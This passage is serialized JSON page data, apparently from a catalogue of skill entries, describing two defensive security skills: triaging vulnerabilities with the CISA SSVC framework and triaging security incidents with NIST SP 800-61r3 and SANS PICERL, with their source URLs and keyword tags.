(OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[213],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[215,216,217,28,218,219,220,221,222,223,224,225,226,227,228,229,32,230,231,232],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","prioritization","ssvc","decision-tree",{"skillNo":234,"name":235,"nameZh":6,"description":236,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":237,"categories":238,"keywords":240,"publishedAt":44},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[239],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[117,241,28,242,243,244,245,246,247,248,249,177,250,178,251,252,253,254,255,256],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]